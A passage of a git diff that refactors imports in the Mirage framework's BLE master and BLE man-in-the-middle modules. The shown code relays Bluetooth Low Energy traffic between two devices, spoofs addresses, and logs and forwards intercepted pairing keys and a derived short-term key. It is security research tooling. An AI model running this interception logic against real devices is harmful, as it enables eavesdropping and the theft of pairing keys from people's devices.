BLEReadResponse, \ + BLEWriteCommand, \ + BLEWriteRequest, \ + BLEWriteResponse + class ble_master(module.WirelessModule, interpreter.Interpreter): def init(self): @@ -27,7 +38,7 @@ def prerun(self): "write_req", "discover", "clear", - "disconnect", + "disconnect", "switch", "connections" ] @@ -59,7 +70,7 @@ def _autocompletePairingParameters(self): "ltk=", "ediv=", "rand=", - "irk=", + "irk=", "addr=", "addr_type=", "csrk=", @@ -104,7 +115,7 @@ def pairing(self,active:["active","passive"]="active",parameters:"!method:_autoc def disconnect(self): if self.receiver.isConnected(): - self.emitter.sendp(ble.BLEDisconnect()) + self.emitter.sendp(BLEDisconnect()) utils.wait(seconds=1) io.success("Disconnected !") if self.receiver.isConnected(): @@ -163,7 +174,7 @@ def scan(self,seconds='6',display:["address","name","company","flags","data"]="a break else: io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to scan devices.") - + def connect(self,target:"!attribute:targets"="",connectionType:["public","random"]=""): if self.checkConnectionCapabilities(): target = self.args['TARGET'] if target=="" else target @@ -211,20 +222,20 @@ def discover(self,what:"!method:_autocompleteDiscoverWhat"="all",start="0x0001", def read(self,handle): if self.receiver.isConnected(): if utils.isHexadecimal(handle): - self.emitter.sendp(ble.BLEReadRequest(handle = int(handle,16))) + self.emitter.sendp(BLEReadRequest(handle = int(handle,16))) io.info("Read Request : handle = "+handle) response = self.receiver.next(timeout=3) retry = 3 - while not (isinstance(response,ble.BLEReadResponse) or - isinstance(response,ble.BLEErrorResponse) or - retry == 0 - ): + while not (isinstance(response,BLEReadResponse) or + isinstance(response,BLEErrorResponse) or + retry == 0 + ): response = self.receiver.next(timeout=1) retry -= 1 - if isinstance(response,ble.BLEReadResponse): + if isinstance(response,BLEReadResponse): io.success("Response : handle = "+str(handle)+" / Values (hex) = "+response.value.hex()) - elif isinstance(response, ble.BLEErrorResponse): + elif isinstance(response, BLEErrorResponse): io.fail("Error response") else: io.fail("Handle is not correctly formatted (hexadecimal)") @@ -234,20 +245,20 @@ def read(self,handle): def write_req(self,handle,value): if self.receiver.isConnected(): if utils.isHexadecimal(handle) and utils.isHexadecimal(value): - self.emitter.sendp(ble.BLEWriteRequest(handle = int(handle,16),value=bytes.fromhex(value))) + self.emitter.sendp(BLEWriteRequest(handle = int(handle,16),value=bytes.fromhex(value))) io.info("Write Request : handle = "+handle+" / value = "+value) response = self.receiver.next(timeout=3) retry = 3 - while not (isinstance(response,ble.BLEWriteResponse) or - isinstance(response,ble.BLEErrorResponse) or - retry == 0 - ): + while not (isinstance(response,BLEWriteResponse) or + isinstance(response,BLEErrorResponse) or + retry == 0 + ): response = self.receiver.next(timeout=1) retry -= 1 - if isinstance(response,ble.BLEWriteResponse): + if isinstance(response,BLEWriteResponse): io.success("Response : success") - elif isinstance(response, ble.BLEErrorResponse): + elif isinstance(response, BLEErrorResponse): io.fail("Error response !") elif retry == 0: io.fail("Timeout error !") @@ -259,7 +270,7 @@ def write_req(self,handle,value): def write_cmd(self,handle,value): if self.receiver.isConnected(): if utils.isHexadecimal(handle) and utils.isHexadecimal(value): - self.emitter.sendp(ble.BLEWriteCommand(handle = int(handle,16),value=bytes.fromhex(value))) + self.emitter.sendp(BLEWriteCommand(handle = int(handle,16),value=bytes.fromhex(value))) io.success("Write Command : handle = "+handle+" / value = "+value) else: io.fail("Handle or value is not correctly formatted (hexadecimal) !") @@ -295,7 +306,7 @@ def onConnectionParameterUpdateRequest(self,packet): io.info(" => Minimum interval: "+str(packet.minInterval)) io.info(" => Maximum interval: "+str(packet.maxInterval)) self.emitter.updateConnectionParameters(timeout=packet.timeoutMult,latency=packet.slaveLatency, minInterval=packet.minInterval,maxInterval=packet.maxInterval,minCe=0,maxCe=0) - self.emitter.sendp(ble.BLEConnectionParameterUpdateResponse(l2capCmdId = packet.l2capCmdId,moveResult=0)) + self.emitter.sendp(BLEConnectionParameterUpdateResponse(l2capCmdId = packet.l2capCmdId,moveResult=0)) @module.scenarioSignal("onSlaveHandleValueNotification") def onNotification(self,packet): @@ -304,7 +315,7 @@ def onNotification(self,packet): @module.scenarioSignal("onSlaveHandleValueIndication") def onIndication(self,packet): io.info("Incoming indication : handle = "+hex(packet.handle)+" / value = "+packet.value.hex()) - self.emitter.sendp(ble.BLEHandleValueConfirmation()) + self.emitter.sendp(BLEHandleValueConfirmation()) def initializeCallbacks(self): self.receiver.onEvent("BLEDisconnect",callback=self.onDisconnect) @@ -334,4 +345,4 @@ def run(self): return self.ok() else: io.fail("Interface provided ("+str(self.args["INTERFACE"])+") is not able to communicate as a master.") - return self.nok() + return self.nok() diff --git a/mirage/modules/ble_mitm.py b/mirage/modules/ble_mitm.py index fc663d4..9f70e7a 100644 --- a/mirage/modules/ble_mitm.py +++ b/mirage/modules/ble_mitm.py @@ -1,7 +1,60 @@ -import multiprocessing from enum import IntEnum -from mirage.libs import io,utils,ble + from mirage.core import module +from mirage.libs import io, utils +from mirage.libs.ble_utils.constants import SM_ERR_AUTH_REQUIREMENTS,\ + SM_ERR_BREDR_PAIRING_IN_PROGRESS,\ + SM_ERR_COMMAND_NOT_SUPPORTED,\ + SM_ERR_CONFIRM_VALUE_FAILED,\ + SM_ERR_CROSS_TRANSPORT_KEY,\ + SM_ERR_DHKEY_CHECK_FAILED,\ + SM_ERR_ENCRYPTION_KEY_SIZE,\ + SM_ERR_INVALID_PARAMETERS,\ + SM_ERR_NUMERIC_COMPARISON_FAILED,\ + SM_ERR_OOB_NOT_AVAILABLE,\ + SM_ERR_PAIRING_NOT_SUPPORTED,\ + SM_ERR_PASSKEY_ENTRY_FAILED,\ + SM_ERR_REPEATED_ATTEMPTS,\ + SM_ERR_UNSPECIFIED_REASON +from mirage.libs.ble_utils.crypto import BLECrypto +from mirage.libs.ble_utils.dissectors import AuthReqFlag, InputOutputCapability, KeyDistributionFlag +from mirage.libs.ble_utils.packets import BLEConnect,\ + BLEConnectionParameterUpdateRequest,\ + BLEConnectionParameterUpdateResponse,\ + BLEDisconnect,\ + BLEEncryptionInformation,\ + BLEErrorResponse,\ + BLEExchangeMTURequest,\ + BLEExchangeMTUResponse,\ + BLEFindByTypeValueRequest,\ + BLEFindByTypeValueResponse,\ + BLEFindInformationRequest,\ + BLEFindInformationResponse,\ + BLEHandleValueConfirmation,\ + BLEHandleValueIndication,\ + BLEHandleValueNotification,\ + BLEIdentityAddressInformation,\ + BLEIdentityInformation,\ + BLELongTermKeyRequest,\ + BLELongTermKeyRequestReply,\ + BLEMasterIdentification,\ + BLEPairingConfirm,\ + BLEPairingRandom,\ + BLEPairingRequest,\ + BLEPairingResponse,\ + BLEReadBlobRequest,\ + BLEReadBlobResponse,\ + BLEReadByGroupTypeRequest,\ + BLEReadByGroupTypeResponse,\ + BLEReadByTypeRequest,\ + BLEReadByTypeResponse,\ + BLEReadRequest,\ + BLEReadResponse,\ + BLESigningInformation,\ + BLEWriteCommand,\ + BLEWriteRequest,\ + BLEWriteResponse + class BLEMitmStage(IntEnum): SCAN = 1 @@ -77,7 +130,7 @@ def initEmittersAndReceivers(self): if not self.a2mEmitter.isAddressChangeable() and utils.booleanArg(self.args["SLAVE_SPOOFING"]): io.warning("Interface "+attackerToMasterInterface+" is not able to change its address : " - "Address spoofing will not be enabled !") + "Address spoofing will not be enabled !") # Stage related methods @@ -142,7 +195,7 @@ def connectOnSlave(self,initiatorType="public"): self.responderAddress = address self.responderAddressType = b"\x00" if self.args["CONNECTION_TYPE"] == "public" else b"\x01" io.info("Connecting to slave "+address+"...") - self.a2sEmitter.sendp(ble.BLEConnect( + self.a2sEmitter.sendp(BLEConnect( dstAddr=address, type=connectionType, initiatorType=initiatorType @@ -163,14 +216,14 @@ def connect(self,packet): if self.args["ADVERTISING_STRATEGY"] == "preconnect": if utils.booleanArg(self.args["MASTER_SPOOFING"]): - self.a2sEmitter.sendp(ble.BLEDisconnect()) + self.a2sEmitter.sendp(BLEDisconnect()) while self.a2sEmitter.isConnected(): utils.wait(seconds=0.01) self.a2sEmitter.setAddress(packet.srcAddr,random=packet.type == "random") address = utils.addressArg(self.args["TARGET"]) connectionType = self.args["CONNECTION_TYPE"] io.info("Connecting to slave "+address+"...") - self.a2sEmitter.sendp(ble.BLEConnect( + self.a2sEmitter.sendp(BLEConnect( dstAddr=address, type=connectionType, initiatorType=packet.type @@ -189,7 +242,7 @@ def connect(self,packet): def disconnectMaster(self,packet): io.info("Master disconnected !") if self.a2sReceiver.isConnected(): - self.a2sEmitter.sendp(ble.BLEDisconnect()) + self.a2sEmitter.sendp(BLEDisconnect()) self.setStage(BLEMitmStage.STOP) @module.scenarioSignal("onSlaveDisconnect") @@ -202,63 +255,63 @@ def exchangeMtuRequest(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Exchange MTU Request (from master) : mtu = "+str(packet.mtu)) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEExchangeMTURequest(mtu=packet.mtu)) + self.a2sEmitter.sendp(BLEExchangeMTURequest(mtu=packet.mtu)) @module.scenarioSignal("onSlaveExchangeMTUResponse") def exchangeMtuResponse(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Exchange MTU Response (from slave) : mtu = "+str(packet.mtu)) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEExchangeMTUResponse(mtu=packet.mtu)) + self.a2mEmitter.sendp(BLEExchangeMTUResponse(mtu=packet.mtu)) @module.scenarioSignal("onMasterWriteCommand") def writeCommand(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Write Command (from master) : handle = "+hex(packet.handle)+" / value = "+packet.value.hex()) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEWriteCommand(handle=packet.handle, value=packet.value)) + self.a2sEmitter.sendp(BLEWriteCommand(handle=packet.handle, value=packet.value)) @module.scenarioSignal("onMasterWriteRequest") def writeRequest(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Write Request (from master) : handle = "+hex(packet.handle)+" / value = "+packet.value.hex()) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEWriteRequest(handle=packet.handle, value=packet.value)) + self.a2sEmitter.sendp(BLEWriteRequest(handle=packet.handle, value=packet.value)) @module.scenarioSignal("onSlaveWriteResponse") def writeResponse(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Write Response (from slave)") io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEWriteResponse()) + self.a2mEmitter.sendp(BLEWriteResponse()) @module.scenarioSignal("onMasterReadBlobRequest") def readBlob(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Read Blob Request (from master) : handle = "+hex(packet.handle)+" / offset = "+str(packet.offset)) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEReadBlobRequest(handle=packet.handle,offset=packet.offset)) + self.a2sEmitter.sendp(BLEReadBlobRequest(handle=packet.handle,offset=packet.offset)) @module.scenarioSignal("onSlaveReadBlobResponse") def readBlobResponse(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Read Blob Response (from slave) : value = "+packet.value.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEReadBlobResponse(value=packet.value)) + self.a2mEmitter.sendp(BLEReadBlobResponse(value=packet.value)) @module.scenarioSignal("onMasterReadRequest") def read(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Read Request (from master) : handle = "+hex(packet.handle)) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEReadRequest(handle=packet.handle)) + self.a2sEmitter.sendp(BLEReadRequest(handle=packet.handle)) @module.scenarioSignal("onSlaveReadResponse") def readResponse(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Read Response (from slave) : value = "+packet.value.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEReadResponse(value=packet.value)) + self.a2mEmitter.sendp(BLEReadResponse(value=packet.value)) @module.scenarioSignal("onSlaveErrorResponse") def errorResponse(self,packet): @@ -266,7 +319,7 @@ def errorResponse(self,packet): io.info("Error Response (from slave) : request = "+hex(packet.request)+ " / handle = "+hex(packet.handle)+" / ecode = "+hex(packet.ecode)) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEErrorResponse(request=packet.request,handle=packet.handle,ecode=packet.ecode)) + self.a2mEmitter.sendp(BLEErrorResponse(request=packet.request,handle=packet.handle,ecode=packet.ecode)) @module.scenarioSignal("onSlaveHandleValueNotification") def notification(self,packet): @@ -274,7 +327,7 @@ def notification(self,packet): io.info("Handle Value Notification (from slave) : handle = "+hex(packet.handle)+ " / value = "+packet.value.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEHandleValueNotification(handle=packet.handle,value=packet.value)) + self.a2mEmitter.sendp(BLEHandleValueNotification(handle=packet.handle,value=packet.value)) @module.scenarioSignal("onSlaveHandleValueIndication") def indication(self,packet): @@ -282,14 +335,14 @@ def indication(self,packet): io.info("Handle Value Indication (from slave) : handle = "+hex(packet.handle)+ " / value = "+packet.value.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEHandleValueIndication(handle=packet.handle,value=packet.value)) + self.a2mEmitter.sendp(BLEHandleValueIndication(handle=packet.handle,value=packet.value)) @module.scenarioSignal("onMasterHandleValueConfirmation") def confirmation(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Handle Value Confirmation (from master)") io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEHandleValueConfirmation()) + self.a2sEmitter.sendp(BLEHandleValueConfirmation()) @module.scenarioSignal("onMasterFindInformationRequest") def findInformation(self,packet): @@ -297,7 +350,7 @@ def findInformation(self,packet): io.info("Find Information Request (from master) : startHandle = "+hex(packet.startHandle)+ " / endHandle = "+hex(packet.endHandle)) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEFindInformationRequest(startHandle=packet.startHandle,endHandle=packet.endHandle)) + self.a2sEmitter.sendp(BLEFindInformationRequest(startHandle=packet.startHandle,endHandle=packet.endHandle)) @module.scenarioSignal("onSlaveFindInformationResponse") def findInformationResponse(self,packet): @@ -305,7 +358,7 @@ def findInformationResponse(self,packet): io.info("Find Information Response (from slave) : format = "+hex(packet.format)+ " / data = "+packet.data.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEFindInformationResponse(format=packet.format,data=packet.data)) + self.a2mEmitter.sendp(BLEFindInformationResponse(format=packet.format,data=packet.data)) @module.scenarioSignal("onMasterFindByTypeValueRequest") def findByTypeValueRequest(self,packet): @@ -313,14 +366,14 @@ def findByTypeValueRequest(self,packet): io.info("Find Type By Value Request (from master) : startHandle = "+hex(packet.startHandle)+ " / endHandle = "+hex(packet.endHandle)+" / uuid = "+hex(packet.uuid)+" / data = "+packet.data.hex()) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEFindByTypeValueRequest(startHandle=packet.startHandle,endHandle=packet.endHandle,uuid=packet.uuid,data=packet.data)) + self.a2sEmitter.sendp(BLEFindByTypeValueRequest(startHandle=packet.startHandle,endHandle=packet.endHandle,uuid=packet.uuid,data=packet.data)) @module.scenarioSignal("onSlaveFindByTypeValueResponse") def findByTypeValueResponse(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Find Type By Value Response (from slave)") io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEFindByTypeValueResponse(handles=packet.handles)) + self.a2mEmitter.sendp(BLEFindByTypeValueResponse(handles=packet.handles)) @module.scenarioSignal("onMasterReadByTypeRequest") def readByType(self,packet): @@ -328,7 +381,7 @@ def readByType(self,packet): io.info("Read By Type Request (from master) : startHandle = "+hex(packet.startHandle)+ " / endHandle = "+hex(packet.endHandle)+" / uuid = "+hex(packet.uuid)) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEReadByTypeRequest( startHandle=packet.startHandle, + self.a2sEmitter.sendp(BLEReadByTypeRequest( startHandle=packet.startHandle, endHandle=packet.endHandle, uuid=packet.uuid)) @module.scenarioSignal("onMasterReadByGroupTypeRequest") @@ -337,7 +390,7 @@ def readByGroupType(self,packet): io.info("Read By Group Type Request (from master) : startHandle = "+hex(packet.startHandle)+ " / endHandle = "+hex(packet.endHandle)+" / uuid = "+hex(packet.uuid)) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEReadByGroupTypeRequest( startHandle=packet.startHandle, + self.a2sEmitter.sendp(BLEReadByGroupTypeRequest( startHandle=packet.startHandle, endHandle=packet.endHandle, uuid=packet.uuid)) @@ -345,7 +398,7 @@ def readByGroupType(self,packet): def readByTypeResponse(self,packet): io.info("Read By Type Response (from slave) : data = "+packet.data.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEReadByTypeResponse(data=packet.data)) + self.a2mEmitter.sendp(BLEReadByTypeResponse(data=packet.data)) @module.scenarioSignal("onSlaveReadByGroupTypeResponse") def readByGroupTypeResponse(self,packet): @@ -353,27 +406,27 @@ def readByGroupTypeResponse(self,packet): io.info("Read By Group Type Response (from slave) : length = "+str(packet.length)+ " / data = "+packet.data.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEReadByGroupTypeResponse(length=packet.length, data=packet.data)) + self.a2mEmitter.sendp(BLEReadByGroupTypeResponse(length=packet.length, data=packet.data)) @module.scenarioSignal("onMasterLongTermKeyRequest") def longTermKeyRequest(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info("Long Term Key Request (from master) : ediv = "+hex(packet.ediv)+" / rand = "+packet.rand.hex()) if packet.ediv == 0 and packet.rand == b"\x00"*8: - self.shortTermKey = ble.BLECrypto.s1(self.temporaryKey,self.mRand,self.sRand)[::-1] + self.shortTermKey = BLECrypto.s1(self.temporaryKey,self.mRand,self.sRand)[::-1] io.info("Derivating Short Term Key : " + self.shortTermKey.hex()) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLELongTermKeyRequest(rand=packet.rand, ediv=packet.ediv,ltk=self.shortTermKey)) - self.a2mEmitter.sendp(ble.BLELongTermKeyRequestReply(positive=True, ltk=self.shortTermKey)) + self.a2sEmitter.sendp(BLELongTermKeyRequest(rand=packet.rand, ediv=packet.ediv,ltk=self.shortTermKey)) + self.a2mEmitter.sendp(BLELongTermKeyRequestReply(positive=True, ltk=self.shortTermKey)) else: if self.args["LTK"] != "": io.info("Using LTK provided : "+self.args["LTK"]) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLELongTermKeyRequest(rand=packet.rand, ediv=packet.ediv, ltk=bytes.fromhex(self.args["LTK"]))) - self.a2mEmitter.sendp(ble.BLELongTermKeyRequestReply(positive=True, ltk=bytes.fromhex(self.args["LTK"]))) + self.a2sEmitter.sendp(BLELongTermKeyRequest(rand=packet.rand, ediv=packet.ediv, ltk=bytes.fromhex(self.args["LTK"]))) + self.a2mEmitter.sendp(BLELongTermKeyRequestReply(positive=True, ltk=bytes.fromhex(self.args["LTK"]))) else: io.info("No LTK provided, encryption not enabled.") - self.a2mEmitter.sendp(ble.BLELongTermKeyRequestReply(positive=False)) + self.a2mEmitter.sendp(BLELongTermKeyRequestReply(positive=False)) @module.scenarioSignal("onMasterPairingRequest") @@ -381,17 +434,17 @@ def pairingRequest(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info(("Pairing Request (from master) : " + "\n=> outOfBand = "+("yes" if packet.outOfBand else "no") + - "\n=> inputOutputCapability = "+ str(ble.InputOutputCapability(data = bytes([packet.inputOutputCapability]))) + - "\n=> authentication = " + str(ble.AuthReqFlag(data=bytes([packet.authentication]))) + + "\n=> inputOutputCapability = "+ str(InputOutputCapability(data = bytes([packet.inputOutputCapability]))) + + "\n=> authentication = " + str(AuthReqFlag(data=bytes([packet.authentication]))) + "\n=> maxKeySize = "+ str(packet.maxKeySize) + - "\n=> initiatorKeyDistribution = "+str(ble.KeyDistributionFlag(data=bytes([packet.initiatorKeyDistribution]))))+ - "\n=> responderKeyDistribution = "+str(ble.KeyDistributionFlag(data=bytes([packet.responderKeyDistribution])))) - + "\n=> initiatorKeyDistribution = "+str(KeyDistributionFlag(data=bytes([packet.initiatorKeyDistribution]))))+ + "\n=> responderKeyDistribution = "+str(KeyDistributionFlag(data=bytes([packet.responderKeyDistribution])))) + io.info ("Storing Pairing Request's payload :"+packet.payload.hex()) self.pReq = packet.payload[::-1] io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEPairingRequest( + self.a2sEmitter.sendp(BLEPairingRequest( outOfBand=packet.outOfBand, inputOutputCapability=packet.inputOutputCapability, authentication=packet.authentication, @@ -406,16 +459,16 @@ def pairingResponse(self,packet): if self.getStage() == BLEMitmStage.ACTIVE_MITM: io.info(("Pairing Response (from slave) : " + "\n=> outOfBand = "+("yes" if packet.outOfBand else "no") + - "\n=> inputOutputCapability = "+ str(ble.InputOutputCapability(data = bytes([packet.inputOutputCapability]))) + - "\n=> authentication = " + str(ble.AuthReqFlag(data=bytes([packet.authentication]))) + + "\n=> inputOutputCapability = "+ str(InputOutputCapability(data = bytes([packet.inputOutputCapability]))) + + "\n=> authentication = " + str(AuthReqFlag(data=bytes([packet.authentication]))) + "\n=> maxKeySize = "+ str(packet.maxKeySize) + - "\n=> initiatorKeyDistribution = "+str(ble.KeyDistributionFlag(data=bytes([packet.initiatorKeyDistribution]))))+ - "\n=> responderKeyDistribution = "+str(ble.KeyDistributionFlag(data=bytes([packet.responderKeyDistribution])))) + "\n=> initiatorKeyDistribution = "+str(KeyDistributionFlag(data=bytes([packet.initiatorKeyDistribution]))))+ + "\n=> responderKeyDistribution = "+str(KeyDistributionFlag(data=bytes([packet.responderKeyDistribution])))) io.info ("Storing Pairing Response's payload :"+packet.payload.hex()) self.pRes = packet.payload[::-1] io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEPairingResponse( + self.a2mEmitter.sendp(BLEPairingResponse( outOfBand=packet.outOfBand, inputOutputCapability=packet.inputOutputCapability, authentication=packet.authentication, @@ -434,7 +487,7 @@ def masterPairingConfirm(self,packet): self.mConfirm = packet.confirm[::-1] io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEPairingConfirm(confirm=packet.confirm)) + self.a2sEmitter.sendp(BLEPairingConfirm(confirm=packet.confirm)) @module.scenarioSignal("onSlavePairingConfirm") def slavePairingConfirm(self,packet): @@ -445,7 +498,7 @@ def slavePairingConfirm(self,packet): self.sConfirm = packet.confirm[::-1] io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEPairingConfirm(confirm=packet.confirm)) + self.a2mEmitter.sendp(BLEPairingConfirm(confirm=packet.confirm)) @module.scenarioSignal("onMasterPairingRandom") def masterPairingRandom(self,packet): @@ -472,7 +525,7 @@ def masterPairingRandom(self,packet): self.temporaryKey = b"\x00" * 16 io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEPairingRandom(random=packet.random)) + self.a2sEmitter.sendp(BLEPairingRandom(random=packet.random)) @module.scenarioSignal("onSlavePairingRandom") def slavePairingRandom(self,packet): @@ -481,43 +534,43 @@ def slavePairingRandom(self,packet): io.info("Storing sRand : "+packet.random.hex()) self.sRand = packet.random[::-1] io.info("Redirecting to master ...") - #newRandom = ble.BLECrypto.c1m1(self.temporaryKey,self.sConfirm,self.pReq,self.pRes,self.initiatorAddressType,self.initiatorAddress,self.responderAddressType,self.responderAddress) + #newRandom = BLECrypto.c1m1(self.temporaryKey,self.sConfirm,self.pReq,self.pRes,self.initiatorAddressType,self.initiatorAddress,self.responderAddressType,self.responderAddress) #self.forgedsRand = newRandom #io.info("Using fake random : "+newRandom.hex()) - self.a2mEmitter.sendp(ble.BLEPairingRandom(random=packet.random)) + self.a2mEmitter.sendp(BLEPairingRandom(random=packet.random)) def pairingFailed(self,pkt): io.fail("Pairing Failed received : "+str(pkt)) - if pkt.reason == ble.SM_ERR_PASSKEY_ENTRY_FAILED: + if pkt.reason == SM_ERR_PASSKEY_ENTRY_FAILED: io.fail("Reason : Passkey Entry Failed") - elif pkt.reason == ble.SM_ERR_OOB_NOT_AVAILABLE: + elif pkt.reason == SM_ERR_OOB_NOT_AVAILABLE: io.fail("Reason : Out of Band not available") - elif pkt.reason == ble.SM_ERR_AUTH_REQUIREMENTS: + elif pkt.reason == SM_ERR_AUTH_REQUIREMENTS: io.fail("Reason : Authentication requirements") - elif pkt.reason == ble.SM_ERR_CONFIRM_VALUE_FAILED: + elif pkt.reason == SM_ERR_CONFIRM_VALUE_FAILED: io.fail("Reason : Confirm Value failed") - elif pkt.reason == ble.SM_ERR_PAIRING_NOT_SUPPORTED: + elif pkt.reason == SM_ERR_PAIRING_NOT_SUPPORTED: io.fail("Reason : Pairing not supported") - elif pkt.reason == ble.SM_ERR_OOB_NOT_AVAILABLE: + elif pkt.reason == SM_ERR_OOB_NOT_AVAILABLE: io.fail("Reason : Out of Band not available") - elif pkt.reason == ble.SM_ERR_ENCRYPTION_KEY_SIZE: + elif pkt.reason == SM_ERR_ENCRYPTION_KEY_SIZE: io.fail("Reason : Encryption key size") - elif pkt.reason == ble.SM_ERR_COMMAND_NOT_SUPPORTED: + elif pkt.reason == SM_ERR_COMMAND_NOT_SUPPORTED: io.fail("Reason : Command not supported") - elif pkt.reason == ble.SM_ERR_UNSPECIFIED_REASON: + elif pkt.reason == SM_ERR_UNSPECIFIED_REASON: io.fail("Reason : Unspecified reason") - elif pkt.reason == ble.SM_ERR_REPEATED_ATTEMPTS: + elif pkt.reason == SM_ERR_REPEATED_ATTEMPTS: io.fail("Reason : Repeated Attempts") - elif pkt.reason == ble.SM_ERR_INVALID_PARAMETERS: + elif pkt.reason == SM_ERR_INVALID_PARAMETERS: io.fail("Reason : Invalid Parameters") - elif pkt.reason == ble.SM_ERR_DHKEY_CHECK_FAILED: + elif pkt.reason == SM_ERR_DHKEY_CHECK_FAILED: io.fail("Reason : DHKey Check failed") - elif pkt.reason == ble.SM_ERR_NUMERIC_COMPARISON_FAILED: + elif pkt.reason == SM_ERR_NUMERIC_COMPARISON_FAILED: io.fail("Reason : Numeric Comparison failed") - elif pkt.reason == ble.SM_ERR_BREDR_PAIRING_IN_PROGRESS: + elif pkt.reason == SM_ERR_BREDR_PAIRING_IN_PROGRESS: io.fail("Reason : BR/EDR Pairing in progress") - elif pkt.reason == ble.SM_ERR_CROSS_TRANSPORT_KEY: + elif pkt.reason == SM_ERR_CROSS_TRANSPORT_KEY: io.fail("Reason : Cross-transport Key Derivation/Generation not allowed") else: io.fail("Reason : unknown") @@ -538,62 +591,62 @@ def slavePairingFailed(self,pkt): def slaveEncryptionInformation(self,packet): io.info("Encryption Information (from slave) : Long Term Key = "+packet.ltk.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEEncryptionInformation(ltk=packet.ltk)) + self.a2mEmitter.sendp(BLEEncryptionInformation(ltk=packet.ltk)) @module.scenarioSignal("onSlaveMasterIdentification") def slaveMasterIdentification(self,packet): io.info("Master Indentification (from slave) : ediv = "+hex(packet.ediv)+" / rand = "+packet.rand.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEMasterIdentification(rand=packet.rand,ediv=packet.ediv)) + self.a2mEmitter.sendp(BLEMasterIdentification(rand=packet.rand,ediv=packet.ediv)) @module.scenarioSignal("onSlaveIdentityAddressInformation") def slaveIdentityAddressInformation(self,packet): io.info("Identity Address Information (from slave) : address = "+str(packet.address)+" / type = "+packet.type) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEIdentityAddressInformation(address=packet.address,type=packet.type)) + self.a2mEmitter.sendp(BLEIdentityAddressInformation(address=packet.address,type=packet.type)) @module.scenarioSignal("onSlaveIdentityInformation") def slaveIdentityInformation(self,packet): io.info("Identity Information (from slave) : irk = "+packet.irk.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLEIdentityInformation(irk=packet.irk)) + self.a2mEmitter.sendp(BLEIdentityInformation(irk=packet.irk)) @module.scenarioSignal("onSlaveSigningInformation") def slaveSigningInformation(self,packet): io.info("Signing Information (from slave) : csrk = "+packet.csrk.hex()) io.info("Redirecting to master ...") - self.a2mEmitter.sendp(ble.BLESigningInformation(csrk=packet.csrk)) + self.a2mEmitter.sendp(BLESigningInformation(csrk=packet.csrk)) @module.scenarioSignal("onMasterEncryptionInformation") def masterEncryptionInformation(self,packet): io.info("Encryption Information (from master) : Long Term Key = "+packet.ltk.hex()) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEEncryptionInformation(ltk=packet.ltk)) + self.a2sEmitter.sendp(BLEEncryptionInformation(ltk=packet.ltk)) @module.scenarioSignal("onMasterMasterIdentification") def masterMasterIdentification(self,packet): io.info("Master Indentification (from master) : ediv = "+hex(packet.ediv)+" / rand = "+packet.rand.hex()) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEMasterIdentification(rand=packet.rand,ediv=packet.ediv)) + self.a2sEmitter.sendp(BLEMasterIdentification(rand=packet.rand,ediv=packet.ediv)) @module.scenarioSignal("onMasterIdentityAddressInformation") def masterIdentityAddressInformation(self,packet): io.info("Identity Address Information (from master) : address = "+str(packet.address)+" / type = "+packet.type) io.info("Redirecting to slave ...") - self.a2sEmitter.sendp(ble.BLEIdentityAddressInformation(address=packet.address,type=packet.type)) + self.a2sEmitter.sendp(BLEIdentityAddressInformation(address=packet.address,type=packet.type)) @module.scenarioSignal("onMasterIdentityInformation") def masterIdentityInformation(self,packet): io.info("Identity Information (from master) : irk = "+packet.irk.hex()) io.info("Redirecting to 